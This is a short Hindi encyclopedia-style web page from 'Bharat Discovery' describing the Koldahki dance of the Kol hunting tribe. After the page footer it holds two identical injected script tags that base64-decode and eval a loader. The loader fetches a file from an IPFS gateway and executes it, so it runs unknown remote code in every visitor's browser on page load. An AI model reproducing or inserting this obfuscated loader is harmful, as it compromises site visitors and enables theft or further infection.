कोलदहकी नृत्य
भारत डिस्कवरी प्रस्तुति
'कोल' शिकारी वर्ग की जनजाति है, जो हकवा करके जानवरों का अथवा गोटी-गुलेल से उड़ती चिड़ियों का शिकार करती थी। इस नृत्य में कोलों के जीवन की झांकी देखी जा सकती है।
- गोला या अर्ध गोला बनाकर, ढोल बजाकर, बैठकर अथवा खड़े होकर, दिन भर के परिश्रम के बाद, चौपाल लगाकर यह नृत्य किया जाता है।
- इस नृत्य में औरतें और बच्चे तमाशबीन होते हैं।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>